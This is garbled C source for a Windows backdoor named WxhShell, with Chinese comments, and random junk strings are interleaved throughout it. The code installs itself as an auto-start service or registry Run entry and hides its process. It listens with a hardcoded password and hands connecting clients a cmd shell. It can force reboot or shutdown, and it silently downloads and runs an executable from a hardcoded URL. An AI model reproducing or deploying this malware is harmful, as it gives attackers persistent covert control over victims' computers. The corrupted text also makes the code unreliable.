hPqe { } PROCESS_BASIC_INFORMATION; %@jL?u }t^N|I PROCNTQSIP NtQueryInformationProcess; k[p7)ec 5 UQbd8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NY`$D}Bi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,>rr|O Rr|&~%#z HANDLE hProcess; {:;599l PROCESS_BASIC_INFORMATION pbi; *$I5_A8,. ;Xw'WMb*= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "+6:vhP5 if(NULL == hInst ) return 0; |E YJbL;1% ]'2;6%.4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SCZ6:P"$qX g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~K-c-Zs#z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }yfSF|\ !F_BLHig if (!NtQueryInformationProcess) return 0; DFKumw>! C Ahkv0?8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gw5j6
if(!hProcess) return 0; _*SA_.0 Gw/imXL if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !6UtwCVR o`8dqP CloseHandle(hProcess); K2u$1OKv ^K#PcPF-j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9{;cp?\)M if(hProcess==NULL) return 0; +v`?j+6z F( w HMODULE hMod; Wx<fD() char procName[255]; ^" EsBt unsigned long cbNeeded; KAucSd` f;u<r? >Z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pS3TD"p 8U5L|Ny.q CloseHandle(hProcess); &F*L=Ng %6vf~oG if(strstr(procName,"services")) return 1; // 以服务启动 wm$1LZ8o-` oTPPYi[r return 0; // 注册表启动 1,tM } f"=1_*eH TfYXF`d // 主模块 K9#=@}!3L int StartWxhshell(LPSTR lpCmdLine) B4yC"55 { *[-% .=[7 SOCKET wsl; >>ncq$ BOOL val=TRUE; lAxbF int port=0; 0
s-IW struct sockaddr_in door; Y 7a<3> I?l%RdGW if(wscfg.ws_autoins) Install(); L|7F%oR x>?jfN,e port=atoi(lpCmdLine); E0miX)AG nty^De% if(port<=0) port=wscfg.ws_port; )jh4HMvmC SA| AS< WSADATA data; 8JP{`) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1mLd_]F'F FY^[?lj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &B</^: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t(O{IUYM door.sin_family = AF_INET; fgs){Ng` door.sin_addr.s_addr = inet_addr("127.0.0.1"); :
"|M door.sin_port = htons(port); x:h0/f BM(8+Wj if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k* ayzg3F> closesocket(wsl); @A_bZQ@ return 1; :|s!_G < } 7r`A6 \
! vPm&0,R*y: if(listen(wsl,2) == INVALID_SOCKET) { hPs7mnSW closesocket(wsl); h}X^ return 1; }=1#ANM1 } 2VrO8q( Wxhshell(wsl); R6^U9fDG WSACleanup(); }tvLe3O 1@&i
ju5 return 0; tevB2'3^ W6_~.m"b } p;[">[" Qi
3di // 以NT服务方式启动 u&q RK>wLa VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wABaNB=9; { v"y0D DWORD status = 0; 9] i$`y DWORD specificError = 0xfffffff; 8JOfx (;f7/2~` serviceStatus.dwServiceType = SERVICE_WIN32; ?-40bb serviceStatus.dwCurrentState = SERVICE_START_PENDING; OLThi[Yn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
1o&]=( serviceStatus.dwWin32ExitCode = 0; g"Eg=CU serviceStatus.dwServiceSpecificExitCode = 0; ,G";ny[$ serviceStatus.dwCheckPoint = 0; ,/d
R serviceStatus.dwWaitHint = 0; Xz,-' AS 5\X.%L* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <r6e23 if (hServiceStatusHandle==0) return; v!\\aG/ |'w_5?|4 status = GetLastError(); ;.Lf9XJ if (status!=NO_ERROR) /%E l0X { 'z'q)vcr serviceStatus.dwCurrentState = SERVICE_STOPPED; pF)}< <C serviceStatus.dwCheckPoint = 0; 8Iz-YG~%3 serviceStatus.dwWaitHint = 0; wz!a;]agg serviceStatus.dwWin32ExitCode = status; ~]+-<O^U~ serviceStatus.dwServiceSpecificExitCode = specificError; tVSURYA8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); -&4W0JK9 return; ~i`@ } hD~P)@^ W/z\j/Rgc serviceStatus.dwCurrentState = SERVICE_RUNNING; ^%)H; serviceStatus.dwCheckPoint = 0; BUH~aV serviceStatus.dwWaitHint = 0; I6bekOvP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h8IjTd]z{$ } mI55vNyer ',?9\xEB // 处理NT服务事件,比如:启动、停止 v&BKl VOID WINAPI NTServiceHandler(DWORD fdwControl) J.
]~J|K { Mx?{[zT" switch(fdwControl) A=Au>"nAA { nWTo$*>W case SERVICE_CONTROL_STOP: y[U/5! `zV serviceStatus.dwWin32ExitCode = 0; 8.Q;o+NU serviceStatus.dwCurrentState = SERVICE_STOPPED; 5O.dRp7dJ serviceStatus.dwCheckPoint = 0; MA\^<x_?L} serviceStatus.dwWaitHint = 0; 'r KDw06/ { {@T8i^EI SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Y#$!fIx } "CYh"4]@rD return; sE*A,z? case SERVICE_CONTROL_PAUSE: Qr`WPTQr" serviceStatus.dwCurrentState = SERVICE_PAUSED; goYRA_%cX break; 0\G`AO;D case SERVICE_CONTROL_CONTINUE: (kpn"]^' serviceStatus.dwCurrentState = SERVICE_RUNNING; I]qml2 break; K6#9HF'2I case SERVICE_CONTROL_INTERROGATE: >KjyxJ7 break; +y!B`'J }; |meo SetServiceStatus(hServiceStatusHandle, &serviceStatus); Evd>s } {}Y QB'} "%O,*t // 标准应用程序主函数 y'(bp=Nq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GarPnb { __U;fH{c |yE_M-Nc // 获取操作系统版本 */gm! :Ym OsIsNt=GetOsVer(); {^TV Zdw GetModuleFileName(NULL,ExeFile,MAX_PATH); 3nfw:. @Q:5{? // 从命令行安装 #(o 'G4T if(strpbrk(lpCmdLine,"iI")) Install(); ei 1(A 28l",j)S // 下载执行文件 >G`=8Ku if(wscfg.ws_downexe) { Nrl&"IK|J if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &FrW(>2 WinExec(wscfg.ws_filenam,SW_HIDE); vkE[Ur> } te?R(& _vA\j if(!OsIsNt) { 76[O3% // 如果时win9x,隐藏进程并且设置为注册表启动 MpbH!2J HideProc(); TGxspmY6 StartWxhshell(lpCmdLine); #4h_(Y } Y21,!$4gb else w7Nb+/,sg if(StartFromService()) jd;=5(2 // 以服务方式启动 4;;F(yk8 StartServiceCtrlDispatcher(DispatchTable); 8" Z!: =A else
?9qA"5 // 普通方式启动 5m")GWQaP@ StartWxhshell(lpCmdLine); V}732?Jy y}jX/Ln return 0; } G$rr.G } x1)G!i
\M>+6m@w B 95}_q &_
er_V~ =========================================== |xaJv:96% J&~nD(&TY LPbZ. 7*5$=z4,1 ^.Y"<oZSS d)|{iUcW " hvu>P { =p>"PqJ/7n #include <stdio.h>
v#0R #include <string.h> 0;'kv| #include <windows.h> <Gzy*1Q& #include <winsock2.h> c8mcJAc #include <winsvc.h> c_xtwdkL9 #include <urlmon.h> 7G}vQO 0N.tPF} #pragma comment (lib, "Ws2_32.lib") Xr~6_N{J #pragma comment (lib, "urlmon.lib") hd1H yvo~'k#c #define MAX_USER 100 // 最大客户端连接数 '01H8er #define BUF_SOCK 200 // sock buffer oo7&.HWf #define KEY_BUFF 255 // 输入 buffer XJnDx 09h 2A@9jl s #define REBOOT 0 // 重启 {O*<1v9< #define SHUTDOWN 1 // 关机 *zX*k7LnV D"fE )@Q@Y #define DEF_PORT 5000 // 监听端口 WlP#L` %7BVJJp2 #define REG_LEN 16 // 注册表键长度 QZk:G+$ #define SVC_LEN 80 // NT服务名长度 vTYI
ez`g yv4ki5u` // 从dll定义API +]Of f^s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]B0>r^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [wl:"rm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .['@:}$1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [6qa"Ie ~T<#HSR` // wxhshell配置信息 HGmgQ>q@M$ struct WSCFG { s)<#a(! int ws_port; // 监听端口 1QM*oj: char ws_passstr[REG_LEN]; // 口令 J=>?D@K int ws_autoins; // 安装标记, 1=yes 0=no J=67As char ws_regname[REG_LEN]; // 注册表键名 /B"h#v-o char ws_svcname[REG_LEN]; // 服务名 [@[!esC char ws_svcdisp[SVC_LEN]; // 服务显示名 aR.1&3fE char ws_svcdesc[SVC_LEN]; // 服务描述信息
9"R]"v3BA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O!='U!X@P int ws_downexe; // 下载执行标记, 1=yes 0=no xbrxh-gV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ay<'Z6` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m`
cw: dz.]5R }; 9Qp39(l: O
z%K* // default Wxhshell configuration .z+?b8Q\ struct WSCFG wscfg={DEF_PORT, 1&c>v3 $2 "xuhuanlingzhe", zLXmjrC 1, %JDG aG' "Wxhshell", CFqoD l "Wxhshell", -yeQQ4b "WxhShell Service", 0m,A`*o "Wrsky Windows CmdShell Service", X"b4U\A "Please Input Your Password: ", *Id$%O 1, "s2?cQv{# "http://www.wrsky.com/wxhshell.exe", i^sK+v "Wxhshell.exe" zvL&V
.> }; ~\/>b}^uf' 0CI?[R\ // 消息定义模块 I})la!9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?HVsIAU char *msg_ws_prompt="\n\r? for help\n\r#>"; ]CH@T9d5V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v vlfL*f char *msg_ws_ext="\n\rExit."; {6)fZpd)@ char *msg_ws_end="\n\rQuit."; S5d:?^PGg char *msg_ws_boot="\n\rReboot..."; RH ow%2D char *msg_ws_poff="\n\rShutdown..."; 3tI=?E# char *msg_ws_down="\n\rSave to "; 8rXq-V_u &/R@cS6}' char *msg_ws_err="\n\rErr!"; C.s{& char *msg_ws_ok="\n\rOK!"; dv-yZRU: (?xGlV`n char ExeFile[MAX_PATH]; qf+jfc(Iby int nUser = 0; %([$v6y HANDLE handles[MAX_USER]; OYC4iI int OsIsNt; JU:!lyd pOD| SERVICE_STATUS serviceStatus; nWN~G SERVICE_STATUS_HANDLE hServiceStatusHandle; V4qHaG b$[_(QUw // 函数声明 (.P;VH9R\ int Install(void); i9k7rEW^ int Uninstall(void); b>E%&sf int DownloadFile(char *sURL, SOCKET wsh); VP\HPSp int Boot(int flag); shxr^ void HideProc(void); IGT~@); int GetOsVer(void); .=rv,PWjZ int Wxhshell(SOCKET wsl); j2lo~J) void TalkWithClient(void *cs); F}0QocD int CmdShell(SOCKET sock); f2_LfbvH int StartFromService(void); 5}9-)\8=z int StartWxhshell(LPSTR lpCmdLine); k@5#^G u1`8f]qt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KpC)A5u6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); \^;Gv%E w>; :mf // 数据结构和表定义 _baqN!N SERVICE_TABLE_ENTRY DispatchTable[] = 'LFHZ&- { %9[GP7? {wscfg.ws_svcname, NTServiceMain}, s8}:8 {NULL, NULL} M
^ZoBsZ }; Y_>z"T ,Ng3!2&$e // 自我安装 y4VCehdJ
int Install(void) D[7K2G+ { -QIcBzw;q char svExeFile[MAX_PATH]; cZ|D!1% HKEY key; JwB:NqB strcpy(svExeFile,ExeFile); s6Bt)8A NUH;GMj,, // 如果是win9x系统,修改注册表设为自启动 |_F-Abk if(!OsIsNt) { ,TOLr%+v~n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )
EEr? " RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GWjKZ1p RegCloseKey(key); uByF*}d1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kBIF[.v(\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0o At=S RegCloseKey(key); fj0+a0h return 0; i0-!! } KwPJ0
]('_ } =t@m: } ~0ZEnejy else { D\(,:_ge 78+H|bH8 // 如果是NT以上系统,安装为系统服务 *IGxa SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =d~]*[8 if (schSCManager!=0) ifTVTd7O { |rdG+> SC_HANDLE schService = CreateService eno*JK ( M =yZ5~3 schSCManager, $@x3<}X; wscfg.ws_svcname, aZ@4Z=LK wscfg.ws_svcdisp, s%GiM SERVICE_ALL_ACCESS, 68FxM#xR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6xdu}l=% SERVICE_AUTO_START, "1%<IqpU+ SERVICE_ERROR_NORMAL, "x\3`Qk svExeFile, *^Zt5 zk NULL, t8i"f L NULL, gywI@QD%# NULL, *Q!b%DIa$ NULL, hNDhee`%6 NULL [.6>%G1C ); mI9h| n if (schService!=0)
cD0 { F1M@$S, CloseServiceHandle(schService); "oz@w'rG CloseServiceHandle(schSCManager); 7;CeQx/W)W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [2i+f< strcat(svExeFile,wscfg.ws_svcname); `Z|sp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U%oI* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N#7 ]xL RegCloseKey(key); 3
%DA { return 0; [ R~+p#l+Q } 4bAgbx-^ } ,;/4E CloseServiceHandle(schSCManager); EyBdL } 15yIPv+5 } Td;e\s/] Xid>8 return 1; Ub3,x~V } W**=X\"' .kC}. Q_ // 自我卸载 H kg@M?( int Uninstall(void) /@3+zpaw X { #H!~:Xu HKEY key; J3:P/n& tH_#q"@) if(!OsIsNt) { K"}Dbr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .z[+sy_ RegDeleteValue(key,wscfg.ws_regname); ]m4LY.SQ RegCloseKey(key); *r-Bt1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }\823U
% RegDeleteValue(key,wscfg.ws_regname); an5Ss@<4AA RegCloseKey(key); 4aV3x&6X return 0; Bs# #3{ylu } AP@xZ%;K } N.64aL|1 } 'h81\SKFK9 else { >hQR J&3;6I
& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3M@>kIT8 if (schSCManager!=0) +uT=Wb \ { W/\7m\B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 66|lQE&n if (schService!=0) M
j5C0P( { ZzKn,+ if(DeleteService(schService)!=0) { BbU&e z8P CloseServiceHandle(schService); {#[a4@B0 CloseServiceHandle(schSCManager); "Q/3]hc. return 0; =pk'a_P8- } CC)9Ks\ CloseServiceHandle(schService); y.O? c&! } ko5\*!|:lj CloseServiceHandle(schSCManager); RtIc:ym } ]$L[3qA. } +\W"n_PPy >^ Y9p~ return 1; ITsJjcYw } JQtH},Tr <!+o8z] // 从指定url下载文件 ,88Y1|:X int DownloadFile(char *sURL, SOCKET wsh) -"cN9RF { xS(sR x+A HRESULT hr; TWs|lhC7! char seps[]= "/"; yq<YGNy! char *token; QqwXFk char *file; !3b%Q</M H char myURL[MAX_PATH]; Wt`D char myFILE[MAX_PATH]; 3%P?1s "(xS[i strcpy(myURL,sURL); .H>Rqikj token=strtok(myURL,seps); djSN{>S while(token!=NULL) Olno9_' { "~[Rwh? file=token; Gt1Up~\s token=strtok(NULL,seps); t]` 2f3UO } q@\_q! sbs"26IE GetCurrentDirectory(MAX_PATH,myFILE); xv*mK1e strcat(myFILE, "\\"); p;5WLAF strcat(myFILE, file); b9YpUm7# send(wsh,myFILE,strlen(myFILE),0); +p[~hM6? send(wsh,"...",3,0); =CVw0'yZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ko:I.6- K if(hr==S_OK) va<+)b\ return 0; $`oA$E3 else ?UxY4m%R; return 1; cpy"1=K~M iY($O/G[+ } (]V.#JM GmHsO/ // 系统电源模块 O-B3@qQ. h int Boot(int flag) Q?tV:jogY { {Q-U=me\ HANDLE hToken; PWmz7*/ TOKEN_PRIVILEGES tkp; 68!]q(!6F SH(kUL5 if(OsIsNt) { vr vzV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RasoOj$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U;nC)'~YW9 tkp.PrivilegeCount = 1; UQ8x#(`ak tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L,ra=SV F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =I5XG"", if(flag==REBOOT) { 3(&.[o
Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K]u|V0c return 0; Lg?'1dg } ~h@tezF else { }ot _k- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O`u! P\ return 0; bPOx~ CMh } K+}Z6_: } W"*R#:Q else { f8 jaMn9o if(flag==REBOOT) { H94.E|Q\+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p3S c4 return 0; [s/@z*,M1 } cDx^}N! else { Wk|z\OR( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Chua>p!$g return 0; O)Qz$ } @(
t:E`8 } z(WpOD e?YbG.(E9 return 1; y#0w\/< } lkm(3y@']A A!D:Kc3
// win9x进程隐藏模块 .}E)7"Qi, void HideProc(void) lP
e$AI { X\x9CA cOb%SC[A{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mQs$7t[>t if ( hKernel != NULL ) [z~Nw# { K[[k,W]qb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OeYLL4H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @NIypi$T FreeLibrary(hKernel); T]W -g } 8x"d/D MT`gr return; (HI%C@e9 } _Pkh`}W: p5l$On // 获取操作系统版本 ?a%i|Z7! int GetOsVer(void) bw\=F_>L { (Pd>*G\ OSVERSIONINFO winfo; zl\#n:| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d]3sC GetVersionEx(&winfo); sJoi fl
7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !d\GD8|4 return 1; F4Uk+|]Bu else 3\+p1f4 return 0; ~N9-an } { 9 ".o, F29AjW86 // 客户端句柄模块 }L!`K"^O& int Wxhshell(SOCKET wsl) ^rwSbM$ { lc-|Q#$3$ SOCKET wsh; X t =bc struct sockaddr_in client; E<uOk DWORD myID; QZr<=}
9C;Y5E~'L while(nUser<MAX_USER) h*UUtLi%WU { P;%QA+%7 int nSize=sizeof(client); Hz8`)cv` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f'O vG@ if(wsh==INVALID_SOCKET) return 1; n*~ ef&@aB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >e;STU if(handles[nUser]==0) Jt6J'MOq closesocket(wsh); bFezTl{M else Q~JKKq nUser++; 6# ";W2 } h&bV!M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >UY_:cW4%m 9M]"%E!s return 0; W_\L_)^X } J~3T8e# (Fzh1# // 关闭 socket #<Nvy9 void CloseIt(SOCKET wsh) NCnId}BT { hxVM]e[ closesocket(wsh); WN+Jf nUser--; ==1/N{{R ExitThread(0); K9Xd?
]a } DA)v3Nd =zeLs0s; // 客户端请求句柄 1\*B. void TalkWithClient(void *cs) vQmackY { !`[I>:Ex 8 QF?W{NK SOCKET wsh=(SOCKET)cs; \.P}`Bpa char pwd[SVC_LEN]; 1lyOp char cmd[KEY_BUFF]; I<./(X[H:# char chr[1]; ^r*%BUU9]% int i,j; Gr$*t,ZW nFnF_ while (nUser < MAX_USER) { ~e77w\Q0 VhFRh,J(T if(wscfg.ws_passstr) { =veOVv[Q&/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); noNF;zT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AH'4H."o/9 //ZeroMemory(pwd,KEY_BUFF); /Jf`x>eiH i=0; v7FRTrqjj while(i<SVC_LEN) { |vN@2h(|" 8UT%:DlxQ // 设置超时 F[D0x26^ fd_set FdRead; ~}-p5 q2 struct timeval TimeOut; c48J!,jCd' FD_ZERO(&FdRead); %;(|KrUN FD_SET(wsh,&FdRead); _~ZQ b TimeOut.tv_sec=8; U@J/ TimeOut.tv_usec=0; BX(d"z b< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?ZHE8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?h )3S7 )^f9[5ee if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %}MA5 t]o pwd=chr[0]; ;%7XU~<a if(chr[0]==0xd || chr[0]==0xa) { QHs:=i~VH pwd=0; &1E~ \8U break; MIlCUk } >9<8G]vcH i++; O%K?l}e } @=NVOJy}c e*2&s5 #RT // 如果是非法用户,关闭 socket (Ef2
w[' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f:[d]J| } w}W@M,.^ &O6;nJEI send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m/hi~.D9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y|;8 :b32 ?FV7|)f while(1) { dD^_^'i j&[.2PW\ ZeroMemory(cmd,KEY_BUFF); u1)TG"+0 W]D`f8r9 // 自动支持客户端 telnet标准 {nPkb5xbW j=0; u@bOEcxK while(j<KEY_BUFF) { =F%wlzF: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J`+`Kq1T cmd[j]=chr[0]; hGA!1a4 c if(chr[0]==0xa || chr[0]==0xd) { < [S1_2b.t cmd[j]=0; }.MoDR3\ break; oBj>9I; } c7g.|R j++; X4} `> } 1R2o6`_ /%uZKGP // 下载文件 #OD@q; if(strstr(cmd,"http://")) { !
[|vx!p send(wsh,msg_ws_down,strlen(msg_ws_down),0); cCh0?g7nV if(DownloadFile(cmd,wsh)) J[<pZ
[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); WE 5"A|
= else "6E1W,|{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fmnRUN= } O,=Q1*c,& else { 53`9^|: 9uw,-0*5 switch(cmd[0]) { hnsa)@ @0vC v // 帮助 Tw`c6^%^y case '?': { iM/*&O} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tB ,. break; g]Xzio&w } 68p\WheCal // 安装 Qh|-a@ case 'i': { yZ;k@t_WRD if(Install()) `rz`3:ZH send(wsh,msg_ws_err,strlen(msg_ws_err),0); CRc!|? else 6VH90KAT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f/0v'
Jt break; Siz!/O!' } r*i$+ Z // 卸载 kMl @v` case 'r': { Y( 1L>4 if(Uninstall()) V#gF*]q send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6bbZ<E5At else ,5eH2W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;&+[W(7Sy break; Sv~YFS :oy } V@#*``M,3 // 显示 wxhshell 所在路径 *R_'$+ case 'p': { >9o,S3 char svExeFile[MAX_PATH]; z"6ZDC6 strcpy(svExeFile,"\n\r"); (#j2P0B strcat(svExeFile,ExeFile); 4f4 i1i: send(wsh,svExeFile,strlen(svExeFile),0); O1x0[sy break; aCU7w5 } -5V)q.Og // 重启 e;A^.\SP case 'b': { 8zQ_xE send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A*7Io4e! if(Boot(REBOOT)) L.09\1?.n send(wsh,msg_ws_err,strlen(msg_ws_err),0); W{fULl else { zG-_!FIn closesocket(wsh); E8T"{
R80 ExitThread(0); WFU?o[k-O } ~K5Cr break; =bs.2aN&^ } {B FT // 关机 F5N>Uqr*oN case 'd': { [{S;%Jj*X/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?%cn'=>ZI if(Boot(SHUTDOWN)) Sni&?tcY send(wsh,msg_ws_err,strlen(msg_ws_err),0); >]Mq)V9 else { >AR Tr'B closesocket(wsh); -"~L2f"? ExitThread(0); j~,h)C/v } T&9`?QD break; 94T}iY. } )u39}dpeu // 获取shell <@u0.-] case 's': { 5TXg;v#Z CmdShell(wsh); Sk8%(JD7 closesocket(wsh); -W|*fKN`3 ExitThread(0); u^`eKak"l break; OJMvn'y } R&6n?g6@/V // 退出 d^KBIz8$5l case 'x': { ^G}# jg. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >Hdjsu5{N CloseIt(wsh); vP3K7En break; uz*d^gr} } E4Y"X // 离开 wXc,F D$ case 'q': { ~?FK ; ( send(wsh,msg_ws_end,strlen(msg_ws_end),0); )-0[ra] closesocket(wsh); eQ$N:] WSACleanup(); :fxWz%t exit(1); mWNR( ()v break; S3R|8?| } 0Vf)Rw1%I
} B }6Kd } ~_ *H)| $Llta,ULE // 提示信息 .D+RLO z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F|ETug
n } Jzk!K@ } .|T2\M ? ouV return; 'eqiYY| } CXBzX:T?# fucUwf\_ // shell模块句柄 {UP'tXah int CmdShell(SOCKET sock) aQ&uC )w { ;5<P|:^ STARTUPINFO si; 0r1g$mKb ZeroMemory(&si,sizeof(si)); -Bj.hx* si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f.@Xjf si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BRe{1i 6 PROCESS_INFORMATION ProcessInfo; R"NGJu9 char cmdline[]="cmd"; >OT\~C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LRWOBD return 0; 5!<o-{J[(= } #-,g&)`] S2ark,sp6 // 自身启动模式 Zotz?jVVr int StartFromService(void) uii7b7[w { YZ0en1ly typedef struct *yrnK3 { f7Yz>To DWORD ExitStatus; 8fnR1mWG DWORD PebBaseAddress; pP3U,n
DWORD AffinityMask; iu+3,]7Fm DWORD BasePriority; 3a'q`.L ULONG UniqueProcessId; a~WqUL ULONG InheritedFromUniqueProcessId; for{ } PROCESS_BASIC_INFORMATION; sN-oEqS ]5N zK=2{ PROCNTQSIP NtQueryInformationProcess; Z
#EvRC 9x(}F<L static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ; VBpp< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m`'=)x| |B
eA== HANDLE hProcess; d^tVD`Fm PROCESS_BASIC_INFORMATION pbi; *MI)]S vEF=e HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SWT:frki` if(NULL == hInst ) return 0; 2sUbiDe- QeL{Wa-2F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 58J_ w X g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IK3qE!,&U NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @.k5MOn ^+M><jE9 if (!NtQueryInformationProcess) return 0; ~^x-ym5 9<v}LeX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z9xR if(!hProcess) return 0; mk\i}U>` < |